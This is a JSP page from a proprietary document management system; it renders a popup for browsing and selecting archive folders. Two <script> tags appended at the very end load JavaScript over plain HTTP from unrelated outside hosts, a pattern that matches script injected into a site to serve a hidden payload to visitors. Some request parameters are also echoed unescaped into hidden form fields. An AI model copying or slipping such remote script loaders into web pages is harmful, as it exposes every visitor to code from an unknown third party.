<%
/*
 * @(#)ListDmsSelectArchiveFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsSelectArchiveFolder.jsp

  This is a ListDmsFolderSelect page.  It allows multiple file to be selected.

    @author             anson.mo
    @company            DCIVision Ltd
    @creation date      11/01/2006
    @version            $Revision: 1.3.4.21 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.audit.bean.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsSelectArchiveFolderForm" scope="request" class="com.dcivision.dms.web.ListDmsSelectArchiveFolderForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "folderList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.name_Z", "DOCUMENT_NAME"},
                            {"dms.label.reference_no","REFERENCE_NO"},
                            {"dms.label.description","DESCRIPTION"},
                            {"dms.label.location", GlobalConstant.NOT_AVAILABLE} };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.reference_no","REFERENCE_NO"},
                            {"dms.label.description","DESCRIPTION"}};

  String rootID = listDmsSelectArchiveFolderForm.getRootID()==null? request.getParameter("rootID"): listDmsSelectArchiveFolderForm.getRootID();
  String parentID = listDmsSelectArchiveFolderForm.getParentID()==null? request.getParameter("parentID"): listDmsSelectArchiveFolderForm.getParentID();

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  int     COLUMN_OFFSET = 0;

  String allowCompoundDoc=listDmsSelectArchiveFolderForm.getAllowCompoundDoc()==null?request.getParameter("allowCompoundDoc"):listDmsSelectArchiveFolderForm.getAllowCompoundDoc();
   String allowPaperDoc=listDmsSelectArchiveFolderForm.getAllowPaperDoc()==null?request.getParameter("allowPaperDoc"):listDmsSelectArchiveFolderForm.getAllowPaperDoc();
   String allowEmailDoc=listDmsSelectArchiveFolderForm.getAllowEmailDoc()==null?request.getParameter("allowEmailDoc"):listDmsSelectArchiveFolderForm.getAllowEmailDoc();
   String allowFormDoc=listDmsSelectArchiveFolderForm.getAllowFormDoc()==null?request.getParameter("allowFormDoc"):listDmsSelectArchiveFolderForm.getAllowFormDoc();
   String allowFlowDoc=listDmsSelectArchiveFolderForm.getAllowFlowDoc()==null?request.getParameter("allowFlowDoc"):listDmsSelectArchiveFolderForm.getAllowFlowDoc();
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   boolean bListVersion = false;
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
   String sCurFunctionCode = listDmsSelectArchiveFolderForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : listDmsSelectArchiveFolderForm.getCurFunctionCode();

   //Permission string
   String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());

   DmsRootDAObject rootDAOTep = new DmsRootDAObject(sessionContainer, conn);
   List rootListTep = rootDAOTep.getRootByOwnerIDAndType(sessionContainer.getUserRecordID(), DmsRoot.PERSONAL_ROOT,GlobalConstant.RECORD_STATUS_ACTIVE);
   DmsRoot personalRoot = (DmsRoot)rootListTep.get(0);
   Integer personalID = personalRoot.getRootFolderID();

   if (personalRoot.getID().intValue() == rootFolder.getRootID().intValue()){
     permission = "PERSONAL";
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else{
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }
%>

<script language="javascript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  document.listDmsSelectArchiveFolderForm.parentID.value=docID;
  document.listDmsSelectArchiveFolderForm.rootID.value=rootID;
  document.listDmsSelectArchiveFolderForm.submit();
}

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}

function clickNodeAction(tree, node) {
  handleTreeNodeGeneralDoc(node.id, tree.rootId);
}

function opAddFolder(){
  var addIDs = "";
  for (var i = 0; i < document.listDmsSelectArchiveFolderForm.length; i++) {
    if (document.listDmsSelectArchiveFolderForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsSelectArchiveFolderForm.elements[i].checked) {
        addIDs += (addIDs=="" ? document.listDmsSelectArchiveFolderForm.elements[i].value : ";" + document.listDmsSelectArchiveFolderForm.elements[i].value);
      }
    }else if (document.listDmsSelectArchiveFolderForm.elements[i].name == "dmsDocsID") {
      if (document.listDmsSelectArchiveFolderForm.elements[i].checked) {
        addIDs += (addIDs=="" ? document.listDmsSelectArchiveFolderForm.elements[i].value : ";" + document.listDmsSelectArchiveFolderForm.elements[i].value);
      }
    }
  }
  if (addIDs==""){
    alert("<bean:message key='common.message.no_record_selected'/>");
    return false;
  }
  window.opener.refreshPageArchive(addIDs);
  window.close();
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsArchiveFolder" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<html:hidden property="returnTo"/>
<html:hidden property='allowCompoundDoc' value='<%=allowCompoundDoc%>' />
<html:hidden property='allowPaperDoc' value='<%=allowPaperDoc%>'/>
<html:hidden property='allowEmailDoc' value='<%=allowEmailDoc%>' />
<html:hidden property='allowFormDoc' value='<%=allowFormDoc%>'/>
<html:hidden property='allowFlowDoc' value='<%=allowFlowDoc%>' />
<input type="hidden" name="actionType">
<!-- Page Title Section Begin -->
<div class="popupPanelTitle">
	<bean:message key="dms.label.location_search_panel"/>
</div>
<!-- Page Title Section End -->

<div class="popupWrapperContainer">
<span class="noteMessage"><bean:message key='dms.message.choose_location_either_on_location_tree_or_search'/></span>
<br>
<layout:listBar>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsSelectArchiveFolderForm, '${listDmsSelectArchiveFolderForm.sortAttribute}', '${listDmsSelectArchiveFolderForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsSelectArchiveFolderForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->
<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
          <tr>
            <td valign="top" class="dtreeContainer">
            <div id="treeContainer">
            	<div id="treeFrameSelection">
                    <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
                      <logic:present name="publicRootList">
                        <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
                          <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
                            <bean:write name="dmsRoot" property="rootName"/>
                          </option>
                        </logic:iterate>
                      </logic:present>
                    </select>
                  </div>
                  <div id="treeFrame" class="dtreeContainer">
                      <dms:tree name="folder" rootId="<%=rootID%>" expandId="<%=parentID%>" checkbox="true"/>
                    </div>
                    </div>
<script language="javascript">
<!--
  var divHeight = GetInnerHeight() - 200;
  FindObj("treeFrame").style.height = divHeight + "px";
-->
</script>
            </td>
            <td valign="top">
<div id="listContainer">
<div id="dataGrid" class="listTable">
<table>
                  <!-- Table Column Header Begin -->
                  <layout:columnHeader form="listDmsSelectArchiveFolderForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsSelectArchiveFolderForm.getSortAttribute()%>" sortOrder="<%=listDmsSelectArchiveFolderForm.getSortOrder()%>" copyColumn="false" editColumn="false"/>
                  <!-- Table Column Header End -->
                  <!-- Record Looping Begin -->
                  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
                  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>" onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
                    <td align="left">
                      <input type="checkbox" name="basicSelectedID" value="<%=((DmsDocument)dmsDocument).getID()%>" onclick="return(false);">
                    </td>
                    <td>
                    <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' onClick='false' permission='<%=permission%>' rootDocument='<%=rootFolder%>'/>
                    </td>
                    <td>
                      <%=((DmsDocument)dmsDocument).getReferenceNo()==null? "":((DmsDocument)dmsDocument).getReferenceNo()%>
                    </td>
                    <td>
                      <%=((DmsDocument)dmsDocument).getDescription()==null? "":((DmsDocument)dmsDocument).getDescription()%>
                    </td>
                    <td align="left">
                      <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) { %>
                        <%=docRetrievalManager.getLocationPath(((DmsDocument)dmsDocument).getParentID()).trim()%>
                      <%}else{%>
                        <bean:message key='dms.label.root'/>
                      <%}%>
                    </td>
                  </tr>
                  </logic:iterate>
                  <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
                  <!-- Record Looping End -->
                </table>
</div>

<!-- Pager Information Begin -->
<div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
  <layout:pager form="listDmsSelectArchiveFolderForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
</div>
<!-- Pager Information End -->

            </td>
          </tr>
        </table>
</div>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
	<html:standardButton label="form.label.add_element" onClick="return opAddFolder()"/>
	<html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
</div>
</div>
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});</script>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>